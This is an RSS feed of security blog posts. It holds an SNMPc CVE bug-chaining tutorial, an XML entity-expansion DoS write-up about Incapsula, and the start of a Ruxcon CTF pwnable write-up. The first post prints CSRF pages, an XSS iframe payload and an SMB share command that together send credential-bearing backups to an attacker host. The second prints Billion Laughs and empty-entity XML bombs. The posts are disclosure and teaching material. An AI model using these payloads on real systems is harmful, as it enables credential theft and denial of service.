<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by TSS on Medium]]></title>
        <description><![CDATA[Stories by TSS on Medium]]></description>
        <link>https://medium.com/@TSScyber?source=rss-db9d8e6fe107------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*eWl40xjOSyoDud9PyFnuzA.png</url>
            <title>Stories by TSS on Medium</title>
            <link>https://medium.com/@TSScyber?source=rss-db9d8e6fe107------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 05:38:10 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@TSScyber/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[NOC NOC. Who’s there? Your NMS is pwned.]]></title>
            <link>https://medium.com/tsscyber/noc-noc-whos-there-your-nms-is-pwned-1826174e0dee?source=rss-db9d8e6fe107------2</link>
            <guid isPermaLink="false">https://medium.com/p/1826174e0dee</guid>
            <dc:creator><![CDATA[TSS]]></dc:creator>
            <pubDate>Thu, 09 Apr 2020 01:35:39 GMT</pubDate>
            <atom:updated>2020-04-09T12:26:15.770Z</atom:updated>
            <content:encoded><![CDATA[<p><em>By </em><a href="https://medium.com/u/b3083898821b"><em>xerubus</em></a><em> (https://twitter.com/xerubus)</em></p><p>Recently I discovered vulnerabilities in Castle Rock Computing’s <a href="https://www.castlerock.com/">SNMPc Enterprise</a>, specifically SNMPc OnLine 12.10.10 before 2020–01–28. Instead of writing my usual blog post containing the coordinated disclosure information, I thought I would do something a little bit different this time and create a simple tutorial for new players regarding the importance of bug chaining. We’ll choose three of the following vulnerabilities and use bug chaining techniques to turn low/medium risk vulnerabilities into an exploit which will ultimately give us full administrative control of the NMS.</p><ul><li>CVE-2020–11553 — Cross-Site Request Forgery (CSRF)</li><li>CVE-2020–11554 — Information disclosure via info.php4</li><li>CVE-2020–11555 — Unencrypted credentials and sensitive information in backup files</li><li>CVE-2020–11556 — Multiple Stored and Reflected Cross-Site Scripting (XSS)</li><li>CVE-2020–11557 — Cleartext username and password credentials exposed in cookies</li></ul><p>For this bug chain we’ll use the XSS, CSRF, and Unencrypted credentials in backup files bugs. Now, you’re probably wondering why I don’t just use the cleartext username and password exposed credentials in a cookie together with the XSS vulnerability? Well the reason is that that would be far too simple, far too simple is boring, and we want something a little bit more exciting to exploit.</p><p>A couple of notes before we begin to keep the trolls at bay….</p><ul><li>For this particular web application we could have directly exploited the system without having to chain multiple vulnerabilities together. I have chosen to chain a few bugs together to help new testers and show devs that simple XSS can actually result in high risk should vulnerabilities be chained together.</li><li>It is not common for an enterprise system to use GET requests to perform operations in a web application. I have created the CSRF PoC to emulate what we would normally see when working with POST requests.</li><li>We do not want to break the functionality or the look-and-feel of the web application; this will give us persistence over time.</li></ul><p>With that out of the way let’s get started. First, we’ll identify each of the vulnerabilities. If you want to play at home, grab yourself a copy of the vulnerable SNMPc Enterprise, install it, and create a few objects which contain sensitive information.</p><h3>CVE-2020–11556 — Multiple Stored and Reflected Cross-Site Scripting (XSS)</h3><p>There are multiple reflected and stored XSS vulnerabilities in this version of SNMPc OnLine, so you can choose which ever input you desire for exploitation. For this example, I am going to use the “My Shortcuts” functionality for our XSS.</p><p>Open the web browser (&lt;ip_address&gt;:8080/SNMPcOnLine/) and log in to the web application. Now click ‘&lt;Add&gt;’ under ‘My Shortcuts’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/462/1*NgFOyzjWx1PTY8Y83MjzDA.png" /></figure><p>When I’m testing whether there are any input validation weaknesses in a form, I generally use the string canary&lt;&gt;”/ to determine how the application handles my input. Let’s enter that string as the title for the shortcut and see how it is rendered within the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*m_Wa0n7mHh2NlRiDeCKeoA.png" /></figure><p>As you can see in the response, it looks like no input validation has occurred and we can seemingly input any characters we wish. Entering the string &lt;svg/onload=alert(&quot;XSS”) will confirm that we indeed have an XSS vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*sofUfWlg_VcYo4EAFba26w.png" /></figure><p>Furthermore, navigating around the web application will continually trigger the alert box, confirming that our XSS is indeed stored or persistent. You can delete the XSS string by selecting ‘Sort’ under the blank area in ‘My Shortcuts’, select the ‘Delete’ checkbox, and then submit via the ‘Finished’ button. Let’s move on to identifying our CSRF.</p><h3>CVE-2020–11553 — Cross-Site Request Forgery (CSRF)</h3><p>As the SNMPc OnLine web application does not have any CSRF protections, such as CSRF tokens or other specific header based protections, we can force a user to perform actions on the site as long as they are authenticated and we can successfully trick them into executing our code.</p><p>For this example, let’s navigate to ‘Config’ page and examine the ‘Database Management’ section to see if we can create a CSRF request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*HMIJWo5gJxTT1fmW3aMtQQ.png" /></figure><p>Click on the ‘Backup’ button to view what request is forwarded to the server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*VkZmdZ4aq9W4qJasBFt7gA.png" /></figure><p>Note that we don’t see any protections in place such as CSRF tokens or other known protection methods. Also note that the request is a GET request, not a POST request. POST requests should always be used to perform any state changes in an application.</p><p>Create a web page (csrf_test.html) on our attacking host which will change the value of ‘Directory’ from C:\SQLBack\ to C:\SQLBack2\</p><pre>&lt;html&gt;<br>&lt;body onload=”document.forms[0].submit()”&gt;<br>&lt;form action=”http://&lt;ip_address&gt;:8080/CfgBackup.php4&quot;&gt;<br>&lt;input type=”hidden” name=”mode” value=”backup” /&gt;<br>&lt;input type=”hidden” name=”file” value=”C&amp;#58;&amp;#92;SQLBack2&amp;#92;” /&gt;<br>&lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt; </pre><p><strong>Note</strong> Creating a web page is generally not necessary for a GET request, however I am demonstrating this technique to show you how to perform the CSRF exploit with a more common POST request.</p><p>Start a simple HTTP server on our attacking Linux host in the same directory as our PoC file with python -m SimpleHTTPServer</p><p>From the same web browser as our logged in victim, browse to http://localhost:8000/csrf_test.html and note the returned page states “<em>Backing up SNMPCONLINE to ‘C:\SQLBack2\’</em>”. We can confirm our CSRF exploit was successful by navigating to http://&lt;ipaddress&gt;:8080/config.php4 and observing that our ‘<em>Directory</em>’ is now set to ‘<em>C:\SQLBack2\</em>’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/334/1*CcEpJqjvU6sYK7Tt8Onhtg.png" /></figure><p>Good. Now let’s take a look out our final piece of the puzzle, unencrypted sensitive information.</p><h3>CVE-2020–11555 — Unencrypted credentials and sensitive information in backup files</h3><p>As we have seen from the CSRF identification, SNMPc Enterprise includes functionality to back up database information to our server. If we look at our ‘<em>C:\SQLBack2</em>’ directory we now have a number of ‘<em>BKP</em>’ files which were created when we issued the ‘<em>Backup</em>’ command during the CSRF discovery.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/191/1*pu6VFh07MI_pv6EIC8_igw.png" /></figure><p>Let’s first create an object in the SNMPc Management Console and give the object username and password credentials for SNMPc polling (‘<em>Insert &gt; Map Object &gt; Device…’</em>). Name the device whatever you wish and then update the attributes to reflect the following in the ‘<em>Access</em>’ tab:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/1*2nPBTqrd73bx7vbYMWLQlw.png" /></figure><p>Let’s also update the SNMPc Administrator’s password from the factory default as well as create a second user for SNMPc (‘<em>Config &gt; User Profiles…</em>’).</p><p>Now we will force a Backup of our database using the web application by clicking ‘<em>Backup</em>’ in the Database Management section. Browse to ‘<em>C:\SQLBack2\</em>’ on our SNMPc server and observe that the timestamps have been updated to reflect our backup was successful.</p><p>Copy the ‘<em>SNMPCONLINE.BKP</em>’ file to our Linux host and use ‘<em>strings</em>’ to extract unencrypted sensitive information from the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*29dJqeZc1gkKTW2BBjTz4A.png" /></figure><p>Note in the above screenshot that our <em>SuperSecretReadString</em>, <em>SuperSecretWriteString</em>, <em>SuperSecretAuthPasswd</em>, and <em>SuperSecretPrivPasswd</em> are all exposed in the database backup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*7R5cQ-N2M5nOJv7u_Zq55Q.png" /></figure><p>Note in the above screenshot that our ‘<em>Administrator</em>’ user’s password is exposed in the database backup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*Us44xmmHZI1xOnO5WwB6QA.png" /></figure><p>Note in the above screenshot that our ‘<em>lowprivuser</em>’ user’s password is exposed in the database backup.</p><p>Okay, good. Now have identified three vulnerabilities which, by themselves, are low to medium risks. So let’s put all the pieces together and actually turn this in to a useful exploit by chaining our bugs together.</p><h3>Chaining the bugs</h3><p><strong>Step 1:</strong> Create a CSRF web page (<em>CSRF.html</em>) which will change the Backup Directory to use an SMB share on our attacking Linux host (\\&lt;ipaddr&gt;\pwnd\):</p><pre>&lt;html&gt;<br>&lt;body onload=”document.forms[0].submit()”&gt;<br>&lt;form action=”http://&lt;ip_addr_snmpc_server&gt;:8080/CfgBackup.php4&quot;&gt;&lt;input type=”hidden” name=”mode” value=”backup” /&gt;<br>&lt;input type=”hidden” name=”file” value=”&amp;#92;&amp;#92;192&amp;#46;168&amp;#46;7&amp;#46;69&amp;#92;pwnd&amp;#92;” /&gt;<br>&lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>Note that we have HTML encoded parts of our UNC path just to be safe.</p><p><strong>Step 2:</strong> Start a web server on the attacking machine to host our CSRF web page:</p><p>&gt; sudo python -m SimpleHTTPServer 80</p><p><strong>Step 3:</strong> Create an SMB share with the <em>Impacket SMBServer</em>, where ‘<em>pwnd</em>’ is the name of the share and ‘<em>~/pwnd/</em>’ is the directory the share is located.</p><p>&gt; sudo smbserver.py pwnd ~/pwnd/</p><p><strong>Step 4:</strong> Using your favourite social engineering technique, have the NOC victim open the following XSS payload:</p><p>http://&lt;ip_addr_snmpc_server&gt;:8080/CfgFavorite.php4?page=99&amp;arg10=Summary&lt;/i&gt;&lt;/a&gt;&lt;iframe src=”http://&lt;ip_addr_attacker&gt;/CSRF.html” style=”width:0; height:0; border:0; border:none”&gt;&lt;/iframe&gt;</p><p>This payload will create a new shortcut called ‘<em>Summary</em>’ which calls our CSRF web page each time the page is loaded or a user interacts with the web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*snDC-xnakqhu0kQcvi-ilQ.png" /></figure><p>If all went well, every time the NOC user navigates the web application you will get the latest version of the database backup delivered directly to your Linux host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*IVsZlz19y0IT9jDs1tIkwA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*gknCYBHu21HCF7Sw1y_Fjg.png" /></figure><p><strong>Step 5:</strong> Pull credentials and other sensitive information from the cleartext backup and gain access to SNMPc Online or devices configured within the NMS. Loot and hack #allthethings!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*5lSZhM8D_4OQim_CjprZag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*Y1da0c_ABTL25FuiEk1nSA.gif" /></figure><p>Until next time, tight lines and happy hacking.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1826174e0dee" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tsscyber/noc-noc-whos-there-your-nms-is-pwned-1826174e0dee">NOC NOC. Who’s there? Your NMS is pwned.</a> was originally published in <a href="https://medium.com/tsscyber">TSS - Trusted Security Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The “billion silent laughs” attack — That time Incapsula was vulnerable to a DoS attack]]></title>
            <link>https://medium.com/tsscyber/the-billion-silent-laughs-attack-that-time-incapsula-was-vulnerable-to-a-dos-attack-e8b546c10981?source=rss-db9d8e6fe107------2</link>
            <guid isPermaLink="false">https://medium.com/p/e8b546c10981</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[ddos]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[TSS]]></dc:creator>
            <pubDate>Tue, 26 Jun 2018 01:34:47 GMT</pubDate>
            <atom:updated>2018-06-26T02:14:41.115Z</atom:updated>
            <content:encoded><![CDATA[<p><em>By Joshua Graham (@</em><a href="https://twitter.com/JPG1nc"><em>JPG1nc</em></a><em>)</em></p><p>tldr; If an application expands local entities but enforces a maximum entity size, set the initial entity to the empty string and you will DOS the server’s CPU.</p><p>tldr2; When testing an application, set the content type to “application/xml” and throw XXE at it. Sometimes XML is processed by frameworks by default and application owners either didn’t know it exists or forgot to turn it off. Using other content types such as “application/json” when “application/x-www-form-urlencoded” is expected can cause issues too.</p><p>Incapsula is pretty cool, they boast about being able to survive an impressive 650Gbps DDOS attack against their network (source: <a href="https://www.incapsula.com/blog/650gbps-ddos-attack-leet-botnet.html).">https://www.incapsula.com/blog/650gbps-ddos-attack-leet-botnet.html).</a> What could possibly compete against that scale of attack? This post is about a way that you <em>may</em> have been able to bring down this impressive network using the 2017OWASPS top 10’s newest entry: XML External Entities (XXE).</p><p>In 2017 , OWASP released a new top ten with XXE coming in at number 4 on the list. There are some really interesting things you can do with XXE which, in a worst case scenario, can lead to complete compromise of an affected server. However, the features that make a server vulnerable to complete compromise <em>should </em>be turned off by default in modern XML parsing engines. Unfortunately, the “local entity expansion” feature is often turned on by default which will be the topic of discussion for this blog post.</p><p>It is probably easier to understand “local entity expansion” by stepping through a practical example. Let’s take the following two XML blobs that, after being processed by an XML parser, end up exactly the same:</p><pre>&lt;?xml version=”1.0&quot; encoding=”UTF-8&quot;?&gt;</pre><pre>&lt;foo&gt;<strong>bar</strong>&lt;/foo&gt;</pre><p>vs</p><pre>&lt;?xml version=”1.0&quot; encoding=”UTF-8&quot;?&gt;</pre><pre>&lt;!DOCTYPE foo [&lt;!ENTITY <strong>LOL</strong> “<strong>bar</strong>”&gt;]&gt;<br> &lt;foo&gt;<strong>&amp;LOL;</strong>&lt;/foo&gt;</pre><p>The second XML blob defines an <em>entity</em> (variable) called “<strong>LOL</strong>” whose value is “<strong>bar</strong>” and uses the variable to create an XML blob exactly the same as the one above it. The process of substituting “<strong>&amp;LOL;</strong>” with “<strong>bar</strong>” is called <em>entity expansion. </em>In plain English the second XML blob is asking the server to “replace each instance of ‘&amp;LOL;’ with the word ‘bar’”</p><p>A well-known attack abusing this “local entity expansion” feature is called the “Billion Laughs” attack and it looks like this:</p><pre>&lt;!DOCTYPE root [</pre><pre>&lt;!ELEMENT root ANY&gt;</pre><pre>&lt;!ENTITY LOL “lol”&gt;</pre><pre>&lt;!ENTITY LOL1 “&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;”&gt;</pre><pre>&lt;!ENTITY LOL2 “&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;”&gt;</pre><pre>&lt;!ENTITY LOL3 “&amp;LOL2;&amp;LOL2;&amp;LOL2;&amp;LOL2;&amp;LOL2;&amp;LOL2;&amp;LOL2;&amp;LOL2;&amp;LOL2;&amp;LOL2;”&gt;</pre><pre>&lt;!ENTITY LOL4 “&amp;LOL3;&amp;LOL3;&amp;LOL3;&amp;LOL3;&amp;LOL3;&amp;LOL3;&amp;LOL3;&amp;LOL3;&amp;LOL3;&amp;LOL3;”&gt;</pre><pre>&lt;!ENTITY LOL5 “&amp;LOL4;&amp;LOL4;&amp;LOL4;&amp;LOL4;&amp;LOL4;&amp;LOL4;&amp;LOL4;&amp;LOL4;&amp;LOL4;&amp;LOL4;”&gt;</pre><pre>&lt;!ENTITY LOL6 “&amp;LOL5;&amp;LOL5;&amp;LOL5;&amp;LOL5;&amp;LOL5;&amp;LOL5;&amp;LOL5;&amp;LOL5;&amp;LOL5;&amp;LOL5;”&gt;</pre><pre>&lt;!ENTITY LOL7 “&amp;LOL6;&amp;LOL6;&amp;LOL6;&amp;LOL6;&amp;LOL6;&amp;LOL6;&amp;LOL6;&amp;LOL6;&amp;LOL6;&amp;LOL6;”&gt;</pre><pre>&lt;!ENTITY LOL8 “&amp;LOL7;&amp;LOL7;&amp;LOL7;&amp;LOL7;&amp;LOL7;&amp;LOL7;&amp;LOL7;&amp;LOL7;&amp;LOL7;&amp;LOL7;”&gt;</pre><pre>&lt;!ENTITY LOL9 “&amp;LOL8;&amp;LOL8;&amp;LOL8;&amp;LOL8;&amp;LOL8;&amp;LOL8;&amp;LOL8;&amp;LOL8;&amp;LOL8;&amp;LOL8;”&gt;</pre><pre>]&gt;</pre><pre>&lt;root&gt;&amp;LOL9;&lt;/root&gt;</pre><p>The first <em>entity</em> “LOL” has the value “lol” (which is 3 bytes in size). Whenever the XML parser encounters “&amp;LOL;” it will replace it with “lol” so this line:</p><pre>&lt;!ENTITY LOL1 “&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;”&gt;</pre><p>Becomes :</p><pre>&lt;!ENTITY LOL1 “lollollollollollollollollollol”&gt;</pre><p>Now the entity LOL1 has the value “lollollollollollollollollollol” (which is 30 bytes in size). Whenever the XML parser encounters “&amp;LOL1;” it will replace it with “lollollollollollollollollollol”. So this line:</p><pre>&lt;!ENTITY LOL2 “&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;”&gt;</pre><p>Becomes:</p><pre>&lt;!ENTITY LOL2 “ lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol”&gt;</pre><p>Hopefully you can see where this is going; by the time the system reaches the “LOL9” entity, it will have expanded to 1 billion lols (3 Gigabytes in size). If it doesn’t just cause the server to crash instantly, it will at least consume large amounts of memory and CPU power. Sending thousands of these Billion Laugh messages a second would likely bring any server to a grinding halt.</p><p>An effective defense against the Billion Laughs attack is to set a maximum size on the XML entity expansion feature that stops the server from consuming too many resources when parsing XML blobs with entities in it. Let’s say we setup our server to expand to a maximum of 1Mb in size. If we look at our Billion Laughs attack again:</p><pre>&lt;!DOCTYPE root [</pre><pre>&lt;!ELEMENT root ANY&gt;</pre><pre><strong>&lt;!ENTITY LOL “lol”&gt;</strong></pre><pre><strong>&lt;!ENTITY LOL1 “&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;”&gt;</strong></pre><pre><strong>&lt;!ENTITY LOL2 “&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;”&gt;</strong></pre><pre><strong>&lt;!ENTITY LOL3 “&amp;LOL2;&amp;LOL2;&amp;LOL2;&amp;LOL2;&amp;LOL2;&amp;LOL2;&amp;LOL2;&amp;LOL2;&amp;LOL2;&amp;LOL2;”&gt;</strong></pre><pre><strong>&lt;!ENTITY LOL4 “&amp;LOL3;&amp;LOL3;&amp;LOL3;&amp;LOL3;&amp;LOL3;&amp;LOL3;&amp;LOL3;&amp;LOL3;&amp;LOL3;&amp;LOL3;”&gt;</strong></pre><pre><strong>&lt;!ENTITY LOL5 “&amp;LOL4;&amp;LOL4;&amp;LOL4;&amp;LOL4;&amp;LOL4;&amp;LOL4;&amp;LOL4;&amp;LOL4;&amp;LOL4;&amp;LOL4;”&gt;</strong></pre><pre><strong>&lt;!ENTITY LOL6 “&amp;LOL5;&amp;LOL5;&amp;LOL5</strong>;&amp;LOL5;&amp;LOL5;&amp;LOL5;&amp;LOL5;&amp;LOL5;&amp;LOL5;&amp;LOL5;”&gt;</pre><pre>&lt;!ENTITY LOL7 “&amp;LOL6;&amp;LOL6;&amp;LOL6;&amp;LOL6;&amp;LOL6;&amp;LOL6;&amp;LOL6;&amp;LOL6;&amp;LOL6;&amp;LOL6;”&gt;</pre><pre>&lt;!ENTITY LOL8 “&amp;LOL7;&amp;LOL7;&amp;LOL7;&amp;LOL7;&amp;LOL7;&amp;LOL7;&amp;LOL7;&amp;LOL7;&amp;LOL7;&amp;LOL7;”&gt;</pre><pre>&lt;!ENTITY LOL9 “&amp;LOL8;&amp;LOL8;&amp;LOL8;&amp;LOL8;&amp;LOL8;&amp;LOL8;&amp;LOL8;&amp;LOL8;&amp;LOL8;&amp;LOL8;”&gt;</pre><pre>]&gt;</pre><pre>&lt;root&gt;&amp;LOL9;&lt;/root&gt;</pre><p>The XML parser will run until it hit’s the 4th “&amp;LOL5;” where the <em>entity</em> will become 1.2Mb in size (over the size limit) where the server will gracefully stop.</p><p>Even with a 1Mb max size restriction, this server is still vulnerable to a DOS attack, just not <em>as vulnerable</em> as it could be. An attacker sending the Billion Laughs payload above is sending approximately 800bytes of data. By the time the server is done with that 800bytes, it has multiplied the data to 1.2Mb in size (1,200,000 bytes). Another way of thinking about this is that an attacker would have to send the same request 1500 times to cause the server to perform the same amount of work as a single request containing entity expansions! But it turns out that in certain instances, we can do even better than this.</p><p>Up until now we have focused mainly on the affect an XML entity expansion has on memory, but it also takes up CPU time. The Billion Laughs attack takes up 3Gb of memory, but how much CPU does it take up? Let’s walk through how the LOL2 entity is expanded (the process may differ depending on the XML parser in use):</p><pre>&lt;!ENTITY LOL2 “&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;”&gt;</pre><p>When the server evaluates the “LOL2” entity, the first thing it encounters is “&amp;LOL1;” what does it do next? Well, it has to look up LOL1 entity which is this one:</p><pre>&lt;!ENTITY LOL1 “&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;”&gt;</pre><p>When the server evaluates the LOL1 entity, the first thing it encounters is “&amp;LOL;” what does it do next? It looks up the LOL entity which we know is “lol”. LOL1 contains 10 LOL entities so it has to look up LOL 10 times. LOL2 contains 10 LOL1’s which means 10*10 lookups. LOL9 has to do 10*10*10*10*10*10*10*10*10 lookups (1 Billion)! That is a lot of CPU cycles. So how do we fool the XML parser into expanding our entity a billion times without violating the 1Mb size limit? Take a look at this new payload:</p><pre>&lt;!DOCTYPE root [</pre><pre>&lt;!ELEMENT root ANY&gt;</pre><pre>&lt;!ENTITY LOL <strong>“”</strong>&gt;</pre><pre>&lt;!ENTITY LOL1 “&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;&amp;LOL;”&gt;</pre><pre>&lt;!ENTITY LOL2 “&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;&amp;LOL1;”&gt;</pre><pre>&lt;!ENTITY LOL3 “&amp;LOL2;&amp;LOL2;&amp;LOL2;&amp;LOL2;&amp;LOL2;&amp;LOL2;&amp;LOL2;&amp;LOL2;&amp;LOL2;&amp;LOL2;”&gt;</pre><pre>&lt;!ENTITY LOL4 “&amp;LOL3;&amp;LOL3;&amp;LOL3;&amp;LOL3;&amp;LOL3;&amp;LOL3;&amp;LOL3;&amp;LOL3;&amp;LOL3;&amp;LOL3;”&gt;</pre><pre>&lt;!ENTITY LOL5 “&amp;LOL4;&amp;LOL4;&amp;LOL4;&amp;LOL4;&amp;LOL4;&amp;LOL4;&amp;LOL4;&amp;LOL4;&amp;LOL4;&amp;LOL4;”&gt;</pre><pre>&lt;!ENTITY LOL6 “&amp;LOL5;&amp;LOL5;&amp;LOL5;&amp;LOL5;&amp;LOL5;&amp;LOL5;&amp;LOL5;&amp;LOL5;&amp;LOL5;&amp;LOL5;”&gt;</pre><pre>&lt;!ENTITY LOL7 “&amp;LOL6;&amp;LOL6;&amp;LOL6;&amp;LOL6;&amp;LOL6;&amp;LOL6;&amp;LOL6;&amp;LOL6;&amp;LOL6;&amp;LOL6;”&gt;</pre><pre>&lt;!ENTITY LOL8 “&amp;LOL7;&amp;LOL7;&amp;LOL7;&amp;LOL7;&amp;LOL7;&amp;LOL7;&amp;LOL7;&amp;LOL7;&amp;LOL7;&amp;LOL7;”&gt;</pre><pre>&lt;!ENTITY LOL9 “&amp;LOL8;&amp;LOL8;&amp;LOL8;&amp;LOL8;&amp;LOL8;&amp;LOL8;&amp;LOL8;&amp;LOL8;&amp;LOL8;&amp;LOL8;”&gt;</pre><pre>]&gt;</pre><pre>&lt;root&gt;&amp;LOL9;&lt;/root&gt;</pre><p>That’s right, we make the starting entity an empty string. Now the XML parser happily expands the empty LOL entity a billion times without ever hitting the 1Mb size limit (a billion empty strings have an in memory size of 0 bytes)! But what does any of this have to do with Incapsula?</p><p>Well it turns out that Incapsula used to do some processing of requests that go through their servers when the request has the content type “application/xml”. This processing includes expanding local XML entities up to a size limit of around 1Mb. I discovered this when performing a penetration test against a client’s site. I sent an XML bomb to the server to see if it was vulnerable to a DoS attack and observed a difference in response timing when sending malicious payloads (from ~25ms for legitimate requests up to ~300ms delay for XML bombs). I could tell that the sever had a size limit set as sending an entity that expanded to 1Mb caused the same delay as an entity that expanded to 1Gb entity.</p><p>Out of curiosity I made the initial <em>entity</em> of a 1Gb XML bomb an empty string and observed a 30 second delay in server response (this indicates 30 seconds of hammering the server’s CPU with processing the XML blob)! Investigating the issue further, we could see no evidence that the client’s server was experiencing any additional CPU or memory load when processing the malicious request. It turned out that it was the Incapsula servers that were expanding the XML bomb before forwarding the request to the client’s server.</p><p>What was causing the Incapsula server to perform this entity expansion? Unfortunately, that remains a mystery to me. One thing I do know, is that I now test for XXE on all web applications, even if they don’t appear to accept XML. I’ll try to find some time to write a post on how to manually test for this issue…stay tuned.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e8b546c10981" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tsscyber/the-billion-silent-laughs-attack-that-time-incapsula-was-vulnerable-to-a-dos-attack-e8b546c10981">The “billion silent laughs” attack — That time Incapsula was vulnerable to a DoS attack</a> was originally published in <a href="https://medium.com/tsscyber">TSS - Trusted Security Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ruxcon 11 [Pwnable 2] Write Up]]></title>
            <link>https://medium.com/tsscyber/ruxcon-11-pwnable-2-write-up-994b72534144?source=rss-db9d8e6fe107------2</link>
            <guid isPermaLink="false">https://medium.com/p/994b72534144</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[exploit-development]]></category>
            <dc:creator><![CDATA[TSS]]></dc:creator>
            <pubDate>Thu, 01 Feb 2018 03:52:58 GMT</pubDate>
            <atom:updated>2018-02-02T00:08:39.959Z</atom:updated>
            <content:encoded><![CDATA[<h4>By <a href="https://twitter.com/delightfulbaker">Tom Ravenscroft</a>- Small batch artisanal hax0r and security specialist</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Onz3MEDzFt-gcBaFJYxWPg.png" /></figure><p>This was the second pwnable challenge at Ruxcon 11. Players would SSH into a server running 64 bit Ubuntu and the SSH user’s home directory contained two files: level2 and tokenfile. file and cat quickly revealed that level2 is a x86–64 ELF executable that hasn’t been stripped. tokenfile is a text file but we can’t read it. Presumably then the aim of the challenge is to read that file!</p><pre>➜ pwnable2 file level2</pre><pre>level2: ELF 64-bit LSB executable, x86–64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86–64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e98e13b917a49c072e0ba9035947d21ba91a706d, not stripped</pre><p>When we run level2 it requests a keyfile specified as a path or the character “-” which specifies “give me the keyfile on stdin”.</p><p>Before doing anything, run strings over the binary. It’ll help you get the lay of the land, and in some (silly) cases, you’ll find the flag. Strings doesn’t yield the flag but it does reveal some interesting strings that sound like function names:</p><pre>➜ pwnable2 strings level2</pre><pre><em>&lt;snip&gt;</em></pre><pre>parse_header</pre><pre>no_keys</pre><pre><em>&lt;snip&gt;</em></pre><pre>auth_scheme</pre><pre>sizetype</pre><pre>key_for_scheme</pre><pre>token_from_file</pre><pre>XorDecode</pre><pre>try_authenticate</pre><pre><em>&lt;snip&gt;</em></pre><pre>mod_table</pre><pre>encoding_table</pre><pre>base64_encode</pre><pre>base64_decode</pre><pre>build_decoding_table</pre><pre>base64_cleanup</pre><pre>input_length</pre><pre>output_length</pre><pre>encoded_data</pre><pre><em>&lt;snip&gt;</em></pre><p>Looks like there’s authentication attempts, parsing, base64, decoding, 